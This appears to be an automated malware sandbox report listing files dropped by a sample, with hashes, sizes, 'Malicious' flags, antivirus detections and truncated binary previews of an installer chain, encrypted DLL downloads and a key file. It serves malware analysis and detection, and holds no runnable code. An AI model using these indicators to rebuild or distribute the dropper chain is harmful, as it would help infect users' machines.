SSDEEP:	6144:Fs7u3JL96d15Y2BmKh678IuYAhN3YCjlgiZioXyLWvCe93rZ5WZOlUmpNJ5mlbb/:e7WJL96d15Y2BmKh678IuYAhN3YCjlgw
MD5:	752CA72DE243F44AF2ED3FF023EF826E
SHA1:	7B508F6B72BD270A861B368EC9FE4BF55D8D472F
SHA-256:	F8196F03F8CBED87A92BA5C1207A9063D4EEBB0C22CA88A279F1AE1B1F1B8196
SHA-512:	4E5A7242C25D4BBF9087F813D4BF057432271A0F08580DA8C894B7C290DE9E0CF640F6F616B0B6C6CAD14DC0AFDD2697D2855BA4070270824540BAE835FE8C4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..=...........!................`;.......................................P.......................'..............p...o.......d.... .......................0..\.......................................................4............................text...k........................... ..`.rdata..............................@..@.data....9.......0..................@....idata..............................@....rsrc........ ......................@..@.reloc..T....0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\is-PR9GR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\is-Q68BS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	MS Windows HtmlHelp Data
Category:	dropped
Size (bytes):	78183
Entropy (8bit):	7.692742945771669
Encrypted:	false
SSDEEP:	1536:Bkt2SjEQ3r94YqwyadpL1X6Dtn4afF1VowWb8ZmmUQNk3gNqCLbMsFxJse8hbpmn:mR/CYj9dp5XIyI2b/mY3gNjLbMsOaP
MD5:	B1B9E6D43319F6D4E52ED858C5726A97
SHA1:	5033047A30CCCF57783C600FD76A6D220021B19D
SHA-256:	8003A4A0F9F5DFB62BEFBF81F8C05894B0C1F987ACFC8654A6C6CE02B6213910
SHA-512:	E56D6EC9170DEBAC28BB514942F794F73D4C194D04C54EFF9227B6EE3C74BA4FCF239FFF0BB6556DC8B847FA89D382AF206A2C481C41A3510936B0A74192D2C2
Malicious:	false
Preview:	ITSF....`..........E.......\|.{.......".....\|.{......."..`...............x.......T.......................g1..............ITSP....T...........................................j..].!......."..T...............PMGLW................/..../#IDXHDR...F.../#ITBITS..../#IVB...N$./#STRINGS.....P./#SYSTEM..N.'./#TOPICS...F.0./#URLSTR...:.t./#URLTBL...v.D./$FIftiMain......1./$OBJINST...z.../$WWAssociativeLinks/..../$WWAssociativeLinks/Property...v../$WWKeywordLinks/..../$WWKeywordLinks/Property...r../After.jpg...4..../Auto-.hhc...^./Auto-Adjustment.htm....?./Auto-BleachTeeth.htm...z.3./Auto-Crop2Plus.htm..U.j./Auto-Emphasis.htm...w.V./Auto-EyeColor.htm...!.../Auto-EyePencil.htm..._.../Auto-EyeShadow.htm...,.3./Auto-GettingStarted.htm....Q./Auto-Lipstick.htm..R.M./Auto-Liquify.htm...-.v./Auto-Menu.htm..S.r./Auto-OrderingInformation.htm...Q.../Auto-Overview.htm..^.$./Auto-Powder.htm......./Auto-Resize.htm..s.b./Auto-Rotation.htm..?.e./Auto-Rouge.htm...=.d./Auto-SkinCare.htm...\|.{./Auto-SmartPatchCosmet

C:\Users\user\AppData\Local\AlterGame 1.13\is-QDBOH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	176128
Entropy (8bit):	6.204917493416147
Encrypted:	false
SSDEEP:	3072:l9iEoC1+7N9UQV2Mi8NTUU3/EO3h3E9y6GeoPRtsoWhi75MUbvSHQ:l+ssU62Mi8x9P/UVGeQRthMUbvS
MD5:	FEC4FF0C2967A05543747E8D552CF9DF
SHA1:	B4449DC0DF8C0AFCC9F32776384A6F5B5CEDE20C
SHA-256:	5374148EBCF4B456F8711516A58C9A007A393CA88F3D9759041F691E4343C7D6
SHA-512:	93E3F48CD393314178CBC86F6142D577D5EAAE52B47C4D947DBA4DFB706860B150FF5B0E546CB83114CA44666E9DF6021964D79D064B775A58698DAA9550EF13
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+0.J^..J^..J^.cE...J^..VR..J^..UU..J^.#VP..J^..UT..J^..UZ..J^..kU..J^..kZ..J^..J_..J^..iT..J^..io..J^.gLX..J^._jZ..J^.Rich.J^.................PE..L.....L...........!.....0...@.......'.......@...................................................................... e..k....X..d....`.......................p..p....................................................@...............................text....".......0.................. ..`.rdata...%...@...0...@..............@..@.data...T....p... ...p..............@....rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\is-T3HEM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	445440
Entropy (8bit):	6.439135831549689
Encrypted:	false
SSDEEP:	12288:sosmML3+OytpWFkCU1wayvT33iiDNmAE27R9sY9kP0O+:soslvJ3RaY9wU
MD5:	CAC7E17311797C5471733638C0DC1F01
SHA1:	58E0BD1B63525A2955439CB9BE3431CEA7FF1121
SHA-256:	19248357ED7CFF72DEAD18B5743BF66C61438D68374BDA59E3B9D444C6F8F505
SHA-512:	A677319AC8A2096D95FFC69F22810BD4F083F6BF55B8A77F20D8FB8EE01F2FEE619CE318D1F55C392A8F3A4D635D9285712E2C572E62997014641C36EDC060A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...*..=...........!.........\......@!....................................... .......................'..........................P.......H.......................l....................................................................................text............................... ..`.rdata..2$.......&..................@..@.data...............................@....idata..............................@....rsrc...H...........................@..@.reloc...&.......(..................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\ltkrn13n.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	445440
Entropy (8bit):	6.439135831549689
Encrypted:	false
SSDEEP:	12288:sosmML3+OytpWFkCU1wayvT33iiDNmAE27R9sY9kP0O+:soslvJ3RaY9wU
MD5:	CAC7E17311797C5471733638C0DC1F01
SHA1:	58E0BD1B63525A2955439CB9BE3431CEA7FF1121
SHA-256:	19248357ED7CFF72DEAD18B5743BF66C61438D68374BDA59E3B9D444C6F8F505
SHA-512:	A677319AC8A2096D95FFC69F22810BD4F083F6BF55B8A77F20D8FB8EE01F2FEE619CE318D1F55C392A8F3A4D635D9285712E2C572E62997014641C36EDC060A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...*..=...........!.........\......@!....................................... .......................'..........................P.......H.......................l....................................................................................text............................... ..`.rdata..2$.......&..................@..@.data...............................@....idata..............................@....rsrc...H...........................@..@.reloc...&.......(..................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\msvcp71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\msvcr71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\sqlite3.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\AlterGame 1.13\uninstall\is-CUGJK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	715253
Entropy (8bit):	6.514700613803512
Encrypted:	false
SSDEEP:	12288:r/kqO+1G7DMvrP537dzHsA6BllcOuGbnH3ERNIg9rNlQyR8h1K8xyFW:bkqZ1G7DMvrP537dzHsA6hcHGbH3EahX
MD5:	AE19918E9A2F183E6DC54F47D905A105
SHA1:	4D0AA8F6F6A9DB774D5E48D80FF76796A5FBCACA
SHA-256:	B916FA0E8B7332FAADCB5E756DD8183555627E57ABCF332A5978ECABD9FBDF03
SHA-512:	D8B1C199FDBC86335437F6353FCA2809AF3B959AC225BFA41BA2C78EFF4C324B38FA7573C8A244DBE03B4434DCED730DA43167E0C1EAA6811D4190AAAE53BC24
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t........................@..............................................@..............................`%..................................................................................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS.....l................................idata..`%.......&..................@....tls.....................................rdata..............................@..P.reloc..@.... ......................@..P.rsrc...............................@..P.....................J..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\uninstall\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	InnoSetup Log AlterGame, version 0x30, 4858 bytes, 082561\user, "C:\Users\user\AppData\Local\AlterGame 1.13"
Category:	dropped
Size (bytes):	4858
Entropy (8bit):	4.71272727773437
Encrypted:	false
SSDEEP:	96:PyWnJ8QpLsCR9n+eOIhIC7ICSss/LnMx99:PyWnJ7pLkHIhvICSsAnU
MD5:	EDCF2B7D055A68652CE182E27E2A35A8
SHA1:	7056AA57AD924B943309420BF734B1A62AA1FDA8
SHA-256:	68159DEBA03FDFACA5255C68E2DD6E9D6FA4C8A703554DB65E1D0412D9E1FC31
SHA-512:	2EC2DDBF5977EC744E0F51873E3D018BF3C9FC6255AE36D74B421B1E874B2005716B638DC7912A97607D9914BE1CC4E6EB3AE9D472B6B395D9B893382E4B1972
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................AlterGame.......................................................................................................................AlterGame.......................................................................................................................0...........%...............................................................................................................8.2.........M.m.......K....082561.user+C:\Users\user\AppData\Local\AlterGame 1.13.................. ............IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User32.dll.

C:\Users\user\AppData\Local\AlterGame 1.13\uninstall\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	715253
Entropy (8bit):	6.514700613803512
Encrypted:	false
SSDEEP:	12288:r/kqO+1G7DMvrP537dzHsA6BllcOuGbnH3ERNIg9rNlQyR8h1K8xyFW:bkqZ1G7DMvrP537dzHsA6hcHGbH3EahX
MD5:	AE19918E9A2F183E6DC54F47D905A105
SHA1:	4D0AA8F6F6A9DB774D5E48D80FF76796A5FBCACA
SHA-256:	B916FA0E8B7332FAADCB5E756DD8183555627E57ABCF332A5978ECABD9FBDF03
SHA-512:	D8B1C199FDBC86335437F6353FCA2809AF3B959AC225BFA41BA2C78EFF4C324B38FA7573C8A244DBE03B4434DCED730DA43167E0C1EAA6811D4190AAAE53BC24
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t........................@..............................................@..............................`%..................................................................................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS.....l................................idata..`%.......&..................@....tls.....................................rdata..............................@..P.reloc..@.... ......................@..P.rsrc...............................@..P.....................J..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ebAAb6KfuCx7.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PAB1[1].file

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.990387966645919
Encrypted:	false
SSDEEP:	48:65uxic/UNMSAjItYiA254tdqlkCuFCpfbNtm:cc9jItYbaC+zNt
MD5:	F328A95046E3A2514C36347EAEC911C0
SHA1:	8EC9C18384CA1E08A397BF7B3D46B6D784669EF0
SHA-256:	D55E86610DCAD29C3D2857D9DAE91AA51228B1FA001EA2D7BDA88B9A2B5570A9
SHA-512:	2FC3621433C5DA3DCB5B9D9133CD9D63D8F53FD60C81DDAB8B83BAD60EFB98942FC38A63DFA98EDFC8358C8E4E345A7EC8FA3AA14C18D4337CDD90EA0AED4718
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..............&... ...@....@.. ....................................@..................................&..O....@.......................`.......%..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......\ .................................................................(......BSJB............v4.0.30319......l.......#~..,...H...#Strings....t.......#US.x.......#GUID...........#Blob...........G..........3..........................................x...............Z.....!.....,.....I.................A...........&.....`.....5.................{.....@.........................A.....P ........#...R ................;...................).....1.....9.....A.....I.....Q.....Y.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\fuckingdllENCR[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ONE[1].file

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4065622
Entropy (8bit):	7.998333417378816
Encrypted:	true
SSDEEP:	98304:Nd7lj7PJtJzLJo+Pb+jA2qBsK6Vz6Vl1ggkCURIO+S1Hn3PEQeK8FuIQQj9dRJ:bl/tBZ+0jGK6R62hfd1Hnp4FuIvLRJ
MD5:	98C5D582966DD7E46FF73E7D6D62B87D
SHA1:	4F37D61ED6959E6991C8888504B396CAF195383F
SHA-256:	E0683D5F72C585FD92753C2CE41152B71364B04299684697C9D0D5E22638CC32
SHA-512:	119C362FA6B09CA0B2868E0FB6D9A679F06CB38A31FE9971F6ED1AABA139EC7535D842197FB5E4E995E988E754FF4544DF2FE13C5A8F9B08E5F2106EB96B9140
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@...................@..............................P........,..........................................................................................................CODE....d........................... ..`DATA....L...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\download[1].htm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\key[1].htm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	704000
Entropy (8bit):	6.506162621910228
Encrypted:	false
